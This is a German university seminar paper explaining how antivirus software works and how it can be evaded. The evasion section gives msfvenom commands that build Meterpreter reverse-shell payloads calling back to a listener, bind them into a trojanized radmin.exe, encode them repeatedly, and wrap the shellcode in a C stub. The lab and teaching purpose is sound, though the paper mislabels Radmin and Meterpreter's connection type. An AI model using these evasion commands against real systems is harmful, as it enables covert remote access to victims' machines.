fhwedel
UNIVERSITY OF APPLIED SCIENCES

Seminar IT-Sicherheit

Wintersemester 2016/2017

# Bypassing Antivirus Applications

Eingereicht von:
Julian Gieseke
winf100542@fh-wedel.de

Betreut von:
Prof. Dr. Gerd Beuster
gb@fh-wedel.de

# Inhaltsverzeichnis

# Motivation

In diesem Seminar soll die Frage geklärt werden, wie AV-Programme arbeiten und umgangen werden können. Außerdem wird geklärt welche Auswirkungen das für den Einsatz dieser Programme hat.

AV-Programme werden „Otto-Normal-Benutzern“ immer empfohlenen und von diesen auch größtenteils eingesetzt (~85% 2016, zum Vergleich: ~30%, 2003 [1]), aber viele technikaffine Menschen stehen AV-Programmen eher skeptisch gegenüber und oft werden sie gerade von diesen Menschen nicht eingesetzt. Zu Recht?

# Einführung

## Was sind Viren bzw. Trojaner?

Computerviren werden in der Regel alle Programme bezeichnet, die ungewollt auf einen befallenen Computer gelangen und dort Schaden anrichten oder Informationen entwenden wollen. Genau genommen muss zwischen Viren, Würmern und Trojanern unterschieden werden, während Viren und Würmer meistens in erster Linie nach Weiterverbreitung streben sind Trojaner, als für uns im Rahmen dieses Vortrages Interessanteste Ausprägung, eher auf das unentdeckte entwenden von Informationen aus. Neuerdings gibt es mit „Ransomware“ oder „Erpressungstrojanern“ auch Varianten, die zwecks Erpressung die Daten des Computers verschlüsseln. Trojaner können auch in Viren und Würmern enthalten sein, um sich dann bspw. zu aktivieren, wenn ein bestimmtes Ziel erreicht wurde.

Trojaner versuchen dazu oft einen „Payload“ in normalen Programmen oder Office-Makros zu verstecken und diesen Payload auf dem PC des Opfers zu installieren. Einmal installiert kann der Payload bspw. im Hintergrund Informationen sammeln und an den Entwickler senden.
Durch diese Funktionalitäten können Trojaner von Kriminellen zur Spionage (Stuxnet, „Bundestrojaner“), zur Erpressung (Locky & Co) oder als Teil eines Botnetzes verwendet werden.

## Was sind „Antivirenprogramme“ und wie arbeitet AV?

Wikipedia leitet seinen Artikel folgendermaßen ein[4]:

> „Ein Antivirenprogramm, Virenscanner oder Virenschutz-Programm (Abkürzung: AV) ist eine Software, die *bekannte* Computerviren, Computerwürmer und Trojanische Pferde aufspüren, blockieren und *gegebenenfalls* beseitigen soll.“

Die hervorgehobenen Adjektive sind in diesem Fall für das Verständnis wichtig:
AV-Programme sind keine „Swiss Army Knives“, mit denen der Computer vor allem Bösen beschützt und gesichert werden kann.
Sie können lediglich vor der Ausnutzung *bereits bekannter* aber ggf. durch die Hersteller oder vom Benutzer bzw. Systemadministrator noch nicht behobene Sicherheitslücken warnen - und bei älteren Schadprogrammen dieses in einigen Fällen auch entfernen.

Antivirenprogramme versuchen Schadprogramme, vereinfacht gesagt, entweder durch ihren Quellcode oder durch ihr Verhalten zu entlarven. Einige AV-Programme benutzen hierzu bspw. Prüfsummen bekannter Dateien oder sog. „Honeypots“, um Schadprogramme besser zu erfassen.

Weiterhin gibt es verschiedene Arten von AV-Programmen:

- Echtzeitscanner: Welche ständig im Hintergrund alle Lese- oder Schreibzugriffe des Dateisystems überprüft und die betroffenen Daten durchsucht.

- Manuelle Scanner: Welche manuell oder zeitgesteuert den kompletten PC, oder Teile davon, nach Schadprogrammen durchforstet

- Online-Virenscanner: Welche nur manuell gestartet werden können und entweder einzelne Dateien durchsuchen oder die komplette Festplatte eines PCs.

- Weiterhin gibt es Virenscanner auch für Netzwerkarchitektur und (Mail-)Server.

# Vor- und Nachteile von AV

## Vorteile:

- Bekannte Schadsoftware wird erkannt und ggf. entfernt
- Auffälliges Verhalten von „normalen“ Programmen kann erkannt werden
- Schnelle Aktualisierung der Virendatenbanken durch die „Cloud“
- E-Mails und Downloads werden vor Ausführung/Betrachtung überprüft.

## Nachteile:

- Nutzer verlassen sich auf AV, werden unvorsichtig
- Fehlalarme führen zu Ignoration von echten Alarmen
- AV-Programme bringen weitere (teils schwere) Sicherheitslücken mit sich
- Datenschutz teilweise Problematisch (bei Cloud-Services)
- False Positives können bei eingerichteter Automatischer Reparieren erheblichen Schaden anrichten.

# Methoden zur Umgehung von AV

## Allgemein

Nachdem ein Angreifer eine Lücke gefunden und den Schadcode auf den Computer des Opfers gebracht hat, muss dieser dort unentdeckt agieren können. Um dem Benutzer und dem AV-Programm dabei nicht aufzufallen, verstecken Trojaner sich und ihren Payload oft in anderen Programmen (ein bekanntes aktuelles Beispiel ist $\mu$Torrent[4]).
Da allerdings der Quellcode nach Entdeckung bekannt ist und daher leicht entdeckt werden kann, muss dieser entweder laufend aktualisiert werden - was einem Katz und Maus Spiel mit den AV-Herstellern gleicht - oder der Schadcode muss sich selber immer wieder verändern können.

Um einen Payload zu Testzwecken in ein Lückenbehaftetes Programm einzubringen eignen sich das Pentesting Framework „Metasploit“ und die Pentesting Linux Distribution „Kali“, da beide und auch die weiteren Tools in dem dieser Seminarreihe zugrundeliegenden Buch erklärt werden, beschränken wir uns hier auf eine kurze Auflistung der Befehle.

Wir verwenden in unseren Beispielen als Payload das in Metasploit enthaltene Programm „Meterpreter“, welches es später ermöglicht sich auf den infizierten Rechner via SSH zu verbinden und dort diverse Informationen zu sammeln. Weiterhin werden wir als Lückenbehaftetes den FTP-Client „Radmin“ nutzen.

Mit dem ebenfalls in Metasploit enthaltenen Programm „msfvenom“ lässt sich nun über folgenden Befehl unser Payload im Programm unterbringen:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.13
LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -f exe >
radmin.exe
```

Da Meterpreter allerdings sehr bekannt ist, wird es natürlich von fast allen Antivirenprogrammen erkannt - wir müssen es also irgendwie verstecken.

## Encoding

Beim Encoding wird der Quellcode des Schadprogrammes neu kodiert, so dass eine für den Originalcode existierende Signatur den kodierten Code nicht mehr erkennen kann. Die meisten AV-Programme kennen allerdings ebenfalls die meisten bekannten Kodierer, wodurch diese Art des Versteckens wenig erfolgsvorsprechend ist.

Wir versuchen es zunächst mit dem Kodierer „Shikata Ga Nai“ und benutzen „mfsvenom“ zum kodieren von Meterpreter:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.13
LPORT=2345 -e x86/shikata_ga_nai -i 10 -f exe >
meterpreterencoded.exe
```

Wir haben nun also unseren Meterpreter-Quellcode zehn mal (-i 10) mit „Shikata Ga Nai“ kodiert, was theoretisch die Erkennungsrate der AV-Programme merklich reduzieren sollte. Leider ist dies aber nicht der Fall, da „Shikata Ga Nai“ alleine noch nicht ausreicht.


Wir versuchen es also mit „Shikata Ga Nai“ und „x86/bloxor“ nacheinander:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.13
LPORT=2345 -e x86/shikata_ga_nai -i 10 -f raw >
meterpreterencoded.bin && msfvenom -p - -f exe -a x86 --platform
windows -e x86/bloxor -i 2 > meterpretermultiencoded.exe <
meterpreterencoded.bin
```

Schon etwas besser, aber noch nicht gut.

Eventuell erreichen wir ein besseres Ergebnis, wenn wir unseren Payload – wie im ersten Beispiel – in unseren FTP-Client integrieren und dann kodieren?

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.13
LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -e x86/
shikata_ga_nai -i 10 -f exe > radminencoded.exe
```

Wieder etwas besser, aber auch noch nicht gut genug.


An dieser Stelle könnten wir weiter mit verschiedenen Kombinationen von Kodierern rumexperimentieren und versuchen weitere AV-Programme auszutricksen, die Ergebnisse werden aber alle in etwa vergleichbar sein.

# Custom Cross Compiling

Beim Custom Cross Compiling wird der Kodierer vom Schadcodeentwickler selber geschrieben, durch das hinzufügen von bspw. Zufallstext vor und nach dem eigentlichen Quellcode wird es den AV-Programmen nochmals schwerer gemacht den Schadcode zu erkennen. Hierzu eignet sich als einfachstes Beispiel ein simples C-Programm, welches den eigentlichen Quellcode des Schadprogramms in mehrere Strings aufteilt und dazwischen Zufallstext in einer später ungenutzten Variable speichert. Allerdings ist auch diese Art des kodieren relativ simpel und wird von vielen AV-Programmen erkannt.

Zuerst müssen wir unseren Payload in Textform umwandeln, damit wir ihn danach in unser C-Programm integrieren können:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.13
LPORT=2345 -f c -e x86/shikata_ga_nai -i 5 > raw.txt
```

Wir verwenden für dieses Beispiel ein relativ simples Programm, welches lediglich einen Zufälligen String vor unseren eigentlichen Quellcode speichert:

```
#include <stdio.h>

unsigned char random[]=

unsigned char buf[] =

int main(void) {
      ((void (*)())buf)();
}
```

Nun fügen wir den Inhalt unserer raw.txt zusammen mit einem zufälligen String in unseren C-Code ein und kompilieren dieses dann für unser Ziel-Betriebsystem. In unserem Fall also für Windows:

```
wine gcc.exe -o custommeterpreter.exe custommeterpreter.c
```

Unsere Anstrengungen werden belohnt:

## Verschlüsselung

Eine weitere Möglichkeit ist es, den Schadcode mit starken Verschlüsselungstechniken zu verschlüsseln. Dies macht eine Erkennung des verschlüsselten Schadcodes fast unmöglich - erfordert allerdings auch eine Brute-Force Attacke des Schadprogrammes auf sich selbst. Da die gängigen Verschlüsselungsmechanismen natürlich ohne weitere Tricks für dieses Vorgehen deutlich zu stark sind, muss um überhaupt eine Chance auf Entschlüsselung zu haben das Verschlüsselungstool dazu den möglichen Bereich des Schlüssels reduzieren - was dann wiederum auch den AV-Programmen einen Anhaltspunkt und eine Möglichkeit zur Erkennung bietet.

Trotzdem ist diese Art der Verschlüsselung bereits relativ erfolgreich und bei einer Kombination dieser Technik mit den anderen kann die Entdeckungsrate weiter gesenkt werden.

> *Leider war das hierfür benötigte Tool „Hyperion“ nicht mehr unter Kali installierbar, da die Paketquellen es nicht mehr vorhalten und es über Wine ebenfalls nicht funktioniert.*

## Eigeninitiative

Statt vordefinierte und bekannte Payloads zu nutzen und um noch bessere Erfolgschancen zu haben, kann man klassische Payloads komplett vermeiden und sich selber für das entsprechende Programm zugeschnittenen Schadcode schreiben, der entweder direkt im Programm läuft oder sich bspw. in den RAM speichert. Auf diese Weise wird es AV-Programmen weiter erschwert den Schadcode zu erkennen.
Dieser Ansatz erfordert allerdings deutlich mehr Aufwand und oft lohnen solche Angriffe nur bei unbekannten Sicherheitslücken.

> *Ein hierzu im Buch genanntes Framework ist „Veil Evasion“, mit welchem sich eigene Payloads generieren lassen.*

# Fazit und Ausblick

AV-Programme können durchaus Sinnvoll sein, wenn der Computer von einem Laien bedient wird. Aktueller und speziell für ein Ziel entwickelter Schadcode kann von Ihnen aber nur schwer bis gar nicht erkannt werden. Durch Cloudbasierte Virendefinitionsdatenbanken wie Virustotal kann die Geschwindigkeit der Erkennung von Schadcode zwar weiter beschleunigt werden und auch die verhaltensbasierte Virenerkennung wird stetig besser, aber wirklich sicher kann und sollte man sich mit einem AV-Programm alleine aber wohl auch in Zukunft nicht fühlen.

# Quellenverzeichnis


- [1] de.statista.com
  „Anteil der Verbraucher ohne aktives Antivirenprogramm in ausgewählten Ländern weltweit“
  https://de.statista.com/statistik/daten/studie/226942/umfrage/anteil-der-verbraucher-ohne-aktives-antivirenprogramm/
  Abgerufen: Oktober 2016

- [2] www.destatis.de (2004):
  „Tabellenanhang zur Pressebroschüre Informationstechnologie in Haushalten"
  https://www.destatis.de/DE/Publikationen/Thematisch/EinkommenKonsumLebensbedingungen/PrivateHaushalte/InformationstechnologieHaushalte5639302039004.pdf?__blob=publicationFile
  Abgerufen: Oktober 2016

- [3] de.wikipedia.org (2016):
  „ Antivirenprogramm"
  https://de.wikipedia.org/wiki/Antivirenprogramm
  Abgerufen: Oktober 2016

- [4] torrentfreak.com (2015):
  „uTorrent Flagged As ‘Harmful’ by Anti-Virus Companies and Google"
  https://torrentfreak.com/utorrent-flagged-as-harmful-by-antivirus-companies-and-google-150721/
  Abgerufen: Oktober 2016

- [5] Georgia Weidman (2014):
  „Penetration Testing: A Hands-On Introduction To Hacking“
  San Francisco, No starch press

- [6] Rapid7 LLC:
  „World’s most used penetration testing software"
  https://www.metasploit.com/
  Abgerufen: Oktober 2016

- [7] Kali Linux:
  „Our Most Advanced Penetration Testing Distribution, Ever."
  https://www.kali.org/
  Abgerufen: Oktober 2016

- [8] Christopher Truncer:
  „Veil Framework"
  https://www.veil-framework.com/framework/
  Abgerufen: Oktober 2016